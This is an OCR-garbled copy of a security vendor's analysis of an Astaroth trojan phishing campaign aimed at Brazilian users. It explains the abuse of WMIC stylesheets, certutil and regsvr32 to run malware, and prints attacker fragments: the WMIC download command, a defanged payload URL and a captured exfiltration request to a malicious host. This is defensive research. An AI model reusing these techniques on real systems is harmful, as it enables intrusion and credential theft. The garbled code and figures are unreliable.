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The Cofense™ Phishing Defense Center (PDC) has recently defended against a resurgence of Astaroth, with
dozens of hits across our customer base in the last week. In just one week, some estimated 8,000 machines have

been potentially compromised.

The Astaroth trojan, named for its use of satanic variable names (the “Great Duke of Hell” in ancient lore), has
been around since late 2017. Astaroth is known for infecting victims through fake invoice emails, the majority of

which originate from a malicious sender impersonating legitimate services using cam.br domains.

Prezado Parceiro...

Recebemos o lobe 575689245 |, com pagamento
programado para 24/08/2018.

O valor liberado para pagamento € de R$
4.781,78 , Para receber seu reembolso,

em até 24h , utilize o Servico Parceiro de
Antecipacdo de Reembolsos da Ticket Log.
Acesse nosso portal de estabelecimentos ,
com seu login & senha , consulte o extrato
dos lotes de reembolso programados e
escolha as opgdes que vocé deseja antecipar.

l._'? s

A Ticket Log possul a maior cobertura de
estabelecimentos credenciados do mercado,
localizados em pontos estratégicos para
malor facilidade do seu dia a dia..

Mosso horario de atendimento é de segunda
a sexta, das Bh00 as 18h00.

Fig. 1 Impersonating TicketLog

This revived campaign has been well planned and supported, exclusively targeting South Americans. All the

campaign’s URLs are Cloudflare hosted, only delivering their payloads to South American IP addresses.
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Fig. 2 Successful payload download

Astaroth’s initial payload is a malicious .Ink file, a common delivery method used by threat actors. Malicious .Ink

files contain a link to a URL (instead of the expected local URI) to grab the next payload.
Leveraging Existing Windows Services to Deliver Malware

Windows Management Instrumentation Console (WMIC) provides a command line interface to WMI. WMIC is a
good tool for managing windows hosts and is widely favored by desktop administrators. The verb get can be used
in a myriad of ways to retrieve information for a machine, however in this case os get /format: is being abused to
download payloads from non-local resources with .xsl extensions. Downloading stylesheets allows for emended
JavaScript and VBS to be run from within them, at which point any type of malware could be staged and run quite
easily. In the case of Astaroth trojan, the .Ink file contains an argument into WMIC.exe to run in non-interactive

mode, which forgoes opening a window that the victim could notice, to download the hardcoded url in the .Ink.

and exit.
String Data
Comment (UNICODE) xmusd B6rulkO4hdO Y S ibexviedd T 8irqk
Arguments (UNICODE) k stast /MIN WMIC exe os get format "http./taddcm). proxy6ix-server website/ 913077 2ha2 5 Thigt™ && exat
Icon location (UNICODE) %SystemR oot \system32\imageres.dll

Fig. 3 WMIC abuse

Astaroth retrieves a .php file from this URL containing a style sheet with embedded JavaScript. Navigating to the
web page manually to view:source reveals the code, which at the time of writing happened to not be obfuscated in

any significant way.
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Fig. 4 Embedded JS in .xsl.

After defining several variables, some of which contain ActiveX objects for file execution and manipulation later,

the script uses a function to “roll” a random number.
unction radador(min, max)

return Math.round{Math.random()*(max-min)+min)

Fig. 5 “radador” dice roll function

The number selected is then used to select a payload URL from a list.

pingadori = radador(1,154);
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if (pingadori ==
{
xVRXastaroth =

1

J
if (pingadori ==
F
L

®VRXastaroth =

H
if (pingadori ==

I
L

xVRXastaroth =

Fig. 6 Domain list

The code frequently reuses the “xVRxastaroth” variable, potentially useful for future fingerprinting. All the 154
domains listed were hosted on CloudFlare. An increasingly popular tactic by threat actors is to use legitimate
hosting services like Google Cloud or CloudFlare for their payload and C2 infrastructure, making it much more
difficult to safely block IPs.

Fig. 7 CloudFlare hosting

After the domain has been selected, the payload URL to another stylesheet is loaded using WMIC yet again. The
domain that is selected will have the hard-coded value of /Seu7v130a.xsl? appended to it as well as a randomly
selected number between 1111111 and 9999999.

For example:

hxxp://taddcmj[.]proxy6x-server|[.]Jwebsite/09//Seu7v130al.]xs1?3314468[.]xsl
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This payload contains much more embedded JavaScript and is part of the core functionality of the malware
delivery. The same variables that are declared in the initial stylesheet are reused here, including the RNG roller for

a payload domain. After selecting a payload URL, the script will create copies of certutil and regsvr32 to the

temp directory for later use.

Fig. 8 Making a copy of certutil and regsvr32

Certutil.exe (a copy is renamed to certis.exe by the trojan) is normally used in a windows environment to manage
certificates, but in this case, it is used by the second stylesheet to download the malware payloads. The script
creates a function that will run the copied certutil in the temp folder with parameters -urlcache and the options -f

and -split. This will cache a force fetched URL and save the fetched URL to a file.

function Bxaki{url, file)

Fig. 9 Caching URLs and downloading payloads

This function is used repeatedly to retrieve the rest of the malware payload. A check is also performed to ensure

each file has been downloaded to the correct folder before proceeding.

Fig. 10 Ensuring the files have been downloaded
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After the malware is downloaded and files verified, the script will check in the C:\Program Files\ directory for

the presence Avast antivirus, which happens to be the most common installed AV worldwide.

Fig. 11 AV detection

If there is no Avast install present, the script proceeds to the final .dll execution using regsvr32 and quits.

AppHshShell . FileExists(steml+stem2+stem3) )

Fig. 12 The trojan is complete

A database of victims

After the malware is successful in infecting a host it will generate a plaintext log (r1.log) located in the tempwl
directory. This log contains the external IP, the geographic location, the machine name, the time the machine was

infected, as well as fields to be logged in the threat actor’s database.

Fig. 13 Victim logging

This information is then sent to a sqlite database located in the root directory of the first payload URL as seen in
the snippet below. There were multiple open directories in ~/9/. Decrementing the number to O revealed several
other open directories with downloadable sqlite databases, more than likely from previous campaigns. These

victims totaled in the thousands, with approximately 8,000 in a single week.
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'NewTab *® ' (3 Index of /9 KE

i C | @ Not secure -
3 Apps

Index of /9

db.sqlite 2018-08-29 01:09 550K é@
v130.php 2018-08-21 00:07 26K

Fig. 14 Open directory...

Here is one of the databases viewed in a sqlite browser. Each field is base64 decoded.

i in sl el hava ref whiEr [
[Fit I I I I I '
1 ] STLHL YR GH .., QUEGLSBRAW.., dfEMCTwakA= MySeiDguidiAs. 1 b KOk
3 2 MTESLTMeSE.  QUGLSESEWE.. SfIMCIwaMA= MEFVMDGWMIS.. 1 BT 5 (B
3 3 MTh jgubly..  QUGLEETYAN. . AjFrSiCSoabi= MBADGM)A.,. n ATl Tgabipy..
T MTESLjEdN. QUGLSEWBIT...  djErMCSwabli= ShEMDgM)A 1 WS4,
5 5 TR WL, GUgLSETY .., dioMChwabA= Evga)A 4 EdadaGy sl
co

Fig. 15 Database dump

Decoded, it reveals a detailed log of each affected machine. Note the first entry of a machine hosted on a Canadian
VPS. This was the first entry across every database dump gathered and was certainly an anomaly compared to the
otherwise South American machines, the primary target of this malware. It’s difficult to say for sure, but this was

possibly the threat actor testing his infrastructure.

d ] local nomeload tame ref value reverso

1 CA - Quebes - Montreal vi30.php 20/08/2008 203712 3

i BA - Rio de Janairo - Resende viilphp 21/08/2018 04:4814 F )

3 BR - 580 Paulo - Indaiatuba viidphp 11/08/2018 065536 i

] B8 - Gosas - Goultnig v1i.php I1/08/2018 07074 1 -
§ BR - 40 Pruld - Campinas v1M0.php  Z1/0R/2018 07:14:42 1

[ BR - Mirds Gefars - Contigem vi30.phe 21/08/201807:15:29 1 -
? BR - Sa0 Paulo - RibeirAéo Preto vi30.phe  20/08/2018 071542 1 - -

] B8 - Parany - Corro Azul vidphp J1/08/2018 072608 1

] 87 - Rio Grande do Sul - Morteragro v1iphp 21/0R/X0180727-20 2 -

w BR - Rio de Janeiro - Dugue de Caris vi30php I1/08/X01807-28:08 1

1 BA - 520 Paulo - Matao viddphp 21/08/201807:26:36 1

n BR - Serpipe - Aracay vidphp 21/08/2018 074236 1

n BA - 540 Pauld - Chmpindd vidphp 21/08/201807:42:53 3

14 BA - Rio de Janeiro - o de laneiro vidMiphp 21/08/2018 074520 1 —

L1 - = B - Esparmo Santo - Cariscsts viMiphp 21/08/2018 073515 ] - - =

Fig. 16 Potentially infected machines
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The Malware

After the Astaroth trojan verifies that each core file and binary has been run, the malware payload is executed. It is
important to note that any payload could be delivered via WMIC stylesheet abuse, and Astaroth should be
considered a versatile delivery method. However, the campaign that the PDC has recently observed has been
delivering this keylogger exclusively. Amongst the downloaded files, the fake .gif and .jpg files appear to be
dependencies for the malware. However, their magic bytes are not of any known file type and there are no .text or
other PE sections in the hex, suggesting that they are not executable. There does appear to be function names
however, including PeekMessageA, which has been previously observed in other keylogging malware. There are

also several log files present, and a folder called vri that is also populated with logs as the malware runs.

wm
0130 gusid Jog
0130refor bog
01 3w log
annd bog
dybi lig |
dybulk.on E/15/ 208 BE Pl H File
dybuskblt log
dybuilleg 257208 [ t |
dy b MRS v vy | § 1211 P B Fiks 7853 KB
dhybuintd 30818 i i B4 P
% Tghwegakioedtd di B/24/200E 1209 PM
u fghwegakiowdl. dit 2 18 1 P
Aghwegakivadh ypg 3 WP PG imaae
fighgabiants gpg HE 1
Aghwgabinaddamrgd
{ghwena ks, gif
fghwealioade jpg /MR 1209 P P
fghwqabions jpg 24/208 1
Tighweqablowdg.qf /24
gt kg, get
fhwegabdoaties.gf
{ghweqa kiowdich. gif
wrea_update] 23 log
togl
bogal
& myzmachine_ol&leibl_logl htmi
& nysmachine_odfl sfibd |ogs. htrd
nysryeid kg
illog
weanls Icu]
& o7 _[E_rponachice cblaibd_dat JU0E1E.
& ofT_E_rypomachirse_cbfilefibd_dat 240818..

XY rnRny

Fig. 17 Complete List of Malware Files

~ fghwqgakkwdc.jpg |
Offsetoe 01 02 03 64
000000 2E] 68 €8 4C 24

Fig. 17-2 Magic Bytes of “.jpg” file
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Fig. 17-3 Function names

To target specific victims, Astaroth is locale aware; any attempts to run the malware without locale spoofing will
result in failed downloads and the inability to run the .dll files. Some cursory analysis of one of the .dlls reveals it
was coded in Delphi, as well as use the GetLocaleInfoA function, allowing it to pull the locale information of the

infected machine.

GxE0002200 : X
0x00003029: _“[K.
AxO806325e; +.HP
OxBEAE32ac: 1.kernel3z2.dll
0x000032c0: GetLongPathNameA
OxB0083340; h ag
BxB00033a8: haasg
Oxooa08cct: Iryd
OxBOAE3504 Software
OxE0082019; Borland
Ox00003515: Lacales
BxBOAB3504 Software
OxBE002019: Borland @
OxE0002021: Delphi
AxBEAE3IS515: Lacales

Fig. 18-1 Coded with Delphi

Ox0a0086da: LoadLibraryExA
OxBa0086ec: GetThreadLocale
Bx0e0086Te GetstartupInfol
BxB003T18: GetProcAddress
0x00088722: GetModuleHand leA
Ox00088736: GetModuleFileNamed
Ox0a00874C: GetlocaleInfoa
OxB800875¢e: GetCommandLined
OxB80a8778: FreeLibrary
Bx0008877e: FindFirstFileA E:
0x00088790: FindClose
OxB806879¢ ExitProcess

Fig. 18-2 Locale Aware

This problem was easily defeated by changing registry values in HKEY_CURRENT_USER>Control
Panel>International to reflect a Brazilian locale, as well as enabling a Portuguese keyboard. The .dlls are first

registered and run using regsrv32 in silent mode. A startup event is also created to gain persistence.
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| General |  Statishcs | Pefomance | Theads | Token

Modules |  Memory |  Erwionment | Handes
Name Base address Size  Desoription d
apsetochema.dl 040000 418  ApiSet Schema DLL £
spoheip.dl (74450000 30448  Application Compatibiity Che
cligmgr32.dl e PESTO000 15518 Configurabon Manager DILL
comctiz2.dl 07350000  LEZME  User Experience Controls L,
cryptaldl (x76840000  L11ME Cryplo APTI2
oyptbase.dl O 7400000 4818  Base oyplographic AP DUL |2
devob.dl Ox7SI70000 7248 Device Information Set DLL
cmape.dl (o 74TI0000 7518 Micosaft Desktop Window .
fghwqakiondsa. i 0140000 12448
fohwoakdwdoe.dl  Ox1aD000 &01E
P | OxTEOS0000 57648 GOI ChentDiL b
fertwtl.dl 750000  1.58ME  Aun bme ublity for Internet
mm3zdl QN7TAFI0000  340E  MultiUser Windows IMM32 ,
kernel32.41 (x75280000 LO6ME  Windows NT BASE API Chen.
KemnelSase, dil (P4 0000 25018 Windows NT BASE AP Clen.,
locale. rils 340000 41218
el (75660000 4048 Language Pack
mpr.dil O 73460000 7218  Multiple Provider Router DUL
meacm32dl Ox7370000 BOKE  Microsoft ACM Audio Fiter
measn Al Ox7FE0000 4348 ASN.1Runtime APTs
mascif.dl O 75 10000 B1518 MSCTF Server DLL
mevert.dl Ox744Z0000 638 KE  Windows NT CRT DLL

ribelll. il O NT i
] % ]

Fig. 19-1 regsvr32 running the .dlls

| General | Boot | Services  Startup | Tooks |

Startup [bem Command Lml
@ “h bl W % Doerab, regevT 3L Exe 5 i ilsers iy Empea e cvecla. olll”

[ﬂf]mamtfmsemmdn :m mtmmmmmuw... HELM |

€| ] ¥

Enable al | Dissbeat |

ca o J[ comead ]| ooy [ mep |

Fig. 19-2 A startup event for persistence

The malware will run 2 .dlls from regsvr32 simultaneously, spawning userinit, ctfmon, and svchost processes.
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57 reguvrdl e 1348 162 ME  ryumachingmy MicrosoftiC) Register Serves
# 57 regriilee bt 3ITMB  myxmachinenys Microscht{C) Register Serves
#97 gpeninst e 18 00 LIAIME  rywrachineiy U Logen Applcation
# 57 pochort e . T BAIME  ryvmachinetmys Huat Procesi for Windows. Ser...
= [ emon.ee 1572 151 MB  mywmachineimy CTF Loader
= 7 usering.ene W2 0 6B/t 5554 MB  nywmaschineimys Userinit Logon Applcation
! ¥ sechost.ee M 052 19M:  JSBMB myvmachineim Host Process for Windows Ser..

Fig. 20 New processes

The malicious svchest constantly queries ieframe.dll, as well as IWebBrowser2 Interface using CLSID
dc30c1661-cdaf-11D0-8A3E-00c04fc9e26e, both key components to interact with Internet Explorer.

: e u i-:m Tnﬂ:ﬂpm “
FE ABPE TASG U AN EFATE

4350 pechost e 1324 @R PegClose Koy mmmtnn APER-Q000CISEAEDE]

A0 T pechon e 1EM Fi O Wirdows Sy WO weframe

A0 T pecho a 1M KL L Sk Classsn

350§ wechedt o 13 HELLN Soltwars' Claassa

A0 wechod o 1834 HEZ L Sckmear Clagses

380§ wechost e 1824 HEE LT Sokware ' Classes

4350 T gehont e 18 LI Solware Clanses

&350 ¥ wechost e M HETLI Skt Classes Wl L ode Urniertace [0 00C 166 1S DAF -1 10i0HBAME DOC OMFC S 200 T Py

4350 T pechon om 184 HI R Wiger 1 Picadn drnbeet g AT 1R61HCOAF 11 HEASE DOC TSR SEDSE ] Promy b 17

430§ ool am 1324 HECR WS o irerace DO 1661-COAF - 11 00-EA3E QOCDEFCSEDSE ' Prooey b 12

A0 W yecho oo 152 Y Pepleackey  HRCLD Sobwas'Classes

4350 T pechont me 15M R oS 1 oe drte aoe [ D000 1651 C0ME- 11 D-EASE-DOC DS FCSE 2EE | Prooey Shub Clee 12

L350 ¥ pechon e il =] TR Wil 1 e e e STV VB 1-COAR- 11 D0-EASE-DOCTMFC SEMET Prooey StubCsd 12

45D T pechont wm 18 HECL Soltwars' Classes Wombd WMode' nberface [0 200 WER T LDUAF-1 1) BATE DOCRCSEIGE] P

4350 T pechon e 13 HIECF Wi 41 e’ It ncn D00 166 1-COAF-11D0-2A3E

350§ pechonl e &M HRC A Wb et bt aes s DOOC 1651 COMF 11 00-RAE- OOCDEFCSE 26E | Prensy S st 12

350§ pechon e 12 HEC L Saltwane Claases

350 W pechos e M HECLI Soltware Classes.

350 T pechost e 184 R Peglueniey  HICLP Sobware'Classes

4350 § pechon s 1824 BERegQueniey  HITLM Solware'Classes

A0 pechenl e 184 W Repluenyley HKLLNSobtwas'Classts -

@ | m ] ¥
=L

:Muﬂ,ﬂdmmnm Baciked by wwtusl memary

Fig. 21 ieframe.dll and IWebBrowser2

This is crucial because the malware targets Internet Explorer specifically. To ensure its victim will use IE, it will
terminate any process in-focus that is Chrome or Firefox, in hopes the victim will believe the browsers are
“malfunctioning.” Whenever a victim uses IE and browses to specific Brazilian banks or businesses, the malware

will only then begin to log keystrokes.
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Fig. 22 Keylogging and exfiltrating data

The exfiltrated data is base64 that decodes into more custom encoded strings that appear to be “/”” delimited. They

more than likely must be XOR-ed against a specific string, so decoding is very difficult if not impossible.

HTTP/1.1 200 0K

Date: Fri, 24 Aug 2018 20:53:33 OMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Vary: Accept-Encoding

Server: cloudflare

CF-RAY: 44f8b5E252acledl-MIA
Content-Encoding: gzip

POST #4747 HTTR/1.1

Content-Type: multipart/fors-data; DOUNGAry=---ceceoemcanccanarcnaaaannn] TefaT224d2626a
Accept-Encoding: gzip. deflate

Referer: hitp:/s .

User-Agent: Mozilla/4.@ (compatible; HRD Utilities by L4FYV)

http: 1/

plil-:Fﬂf\' no-cache

Host: wewets.segurancaf-xppi.website

Content-Length: 37638

Cookie: __cfduld=d3303dcS25711I50aT007 fefdcAd1rra61535143444

ceesmssemesssmescseeeseeeeea- TOFET22402020a
Content -Disposition: form-data; namea™2®
oy TRV 2 P ] NV L VWNEU 6 UG JWOnRWY 2 FNY I VadEN dEShMD LyU2ex TWEXRNATY 3R0Y 1 VadFRXNUN 1 a8 pavEIBS 2EWZHRVVZ FYY LUSPS [ s TaVDC NI 3H
WHESZIWY rivm1gRnR1UX 1PREpCHTBEMIV4dzREaGhe Tz RKa1VES2 Lt RTNEWEVTRIRUUKF 3061 YRy Swihi 1 k TehYS 1BWUMWD 1 U1 VNazEyU2 t GemSx T JAr Ry syMEZ2T §
E2LITPT1Y5baSsbS9aVZ IS I18vY jcwiDg INIpEcnieVy ImZ BUGT EWplak F JRUFBRAMA 4 (UKIWE 1 BUnE AnGdWok t5V2 1 y50t ybz R enmpy ¥ 2Bhck 18RHIGeULrD
TRaVZVgEIJINTVWIBIdLBaa i GyWne rvexMTCOXTTNZUDL kalVval Sy TY xe 2IVMVIAZHI 3T2aTYnZal 2YVUF ZUL ) J b TV2Q2c208RVREVIVE JgQ3 InSX1pMzFS
UWIGczhIVi IVREESR JRIYn L UExOK2p3axhDyVF t QAL npHeFFXSEWISWEGME tBRtZU2 tWWpRSWRhNGOGE TUGAFNENDFPUWNWGE xhd 1V Jo jUSd JEZRDVIZUL
oMW T LEwaWpmdBOC YY1 pa 3F IVIBZMZFPa jhaYmpNeUSqRTENNZU . ZNkd ZROCHhUSGImd T rL3h3R1AVNS tQSEQuMI BOXcISFIBeEpte JUZZ3gS TmkBU zVman
JSUZ tweVZuWk dabDUrYeVLAXT rEvh L SmSWiUx T end ;rIE?rHJI‘ldHHhFéiJleE‘FuUﬂf.d’QWkI'.aH‘ijQlINDJI?]qVE'\"r 1(i\-'-‘Rl'.rh\'ﬁtdk?ﬁq;lpw,’tﬁ{}ﬂnl-lm 1IE3N2T
FErdjZvTEMOVEESOT JkZEVPaXhEdz dDY MWK S ZUDLnUTMz SGwvilmR LowhTT1RMNE pUQINoNDVEZ Uo ITVRMZ LUxNIg SWnAS0G1PZnB YMWI SbzhiCTy SVLIVIWINT
WCIxNmAUOE 1 Namk 1 c BUEQVERMHE S 53N IRERGOXVUIFROS EOnBEZUNWE SCULARN IGE I R1CBRYVTVEENNT d2VmT 31622 10M2BOC Ecwz Qwe ZhUNGIZHI rwygSdT )
¥¥2IRODNEY 2 2GcH0Qakd JUHI p2Gx 1NASSMEgubUQIVUZHD KBESK tmc AMrUF pldkZWUEVYUKNGM2ZNSERE Rk xa S8 102 1dhaV IWaDZPY T 10WT 2y Qs Y L 3RE
JyenMEZzFSNVV1cVZEangrinEyeHiwal JFS2N00 ] L3VUZS0k 1 cWWBUMLhPoehEZFZ a0l T RX k4 INGIXBGYVMLa bmbi T10x YWN2 L2 dX N2 ST O YMG t XRVIVWHY.IZ
EftOGoxe kv 3ZuM2ptbVRANT FWMLLy Y 1AMa TAYDGNQQT 1 IY2UL T2 LeNip Yz R20THr dFR JUEL Pdnl Oc FdRAEF 2Y 18X YVBpREXUUWV1Skay L ZLEYTLI0N VT 2V3
DT Bl U D4 & T o LIS T W 30O LA By e W ] P P i R B o WS RN T S B UL S ARE s TV o ol 0 iy BRET 9 ) ASASE - LT # DDOLLIT Y AT
&F chent pitisd. 67 sevver pitvsl. 77 surns

Fig. 23-1 Exfiltrated data

Fig. 23-2 Custom encoded strings

Astaroth is a particularly potent threat for South American businesses. This is attack vector presents interesting

problems, as blocking or restricting the use of WMIC may not be a feasible solution for some administrators.

Like malicious OfficeMacros, this form of social engineering-based attack is best mitigated with user training and

awareness. Thousands of global organizations use Cofense PhishMe™ to do just that. Discover what it can do for

yours.
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https://web.archive.org/web/20200302071436/https://cofense.com/product-services/simulator-2/

https://web.archive.org/web/20200302071436 /https://cofense.com /seeing-resurgence-demonic-astaroth-wmic-trojan/

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise,

remain the property of their respective holders, and use of these trademarks in no way indicates any relationship
between Cofense and the holders of the trademarks.

Source: https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/
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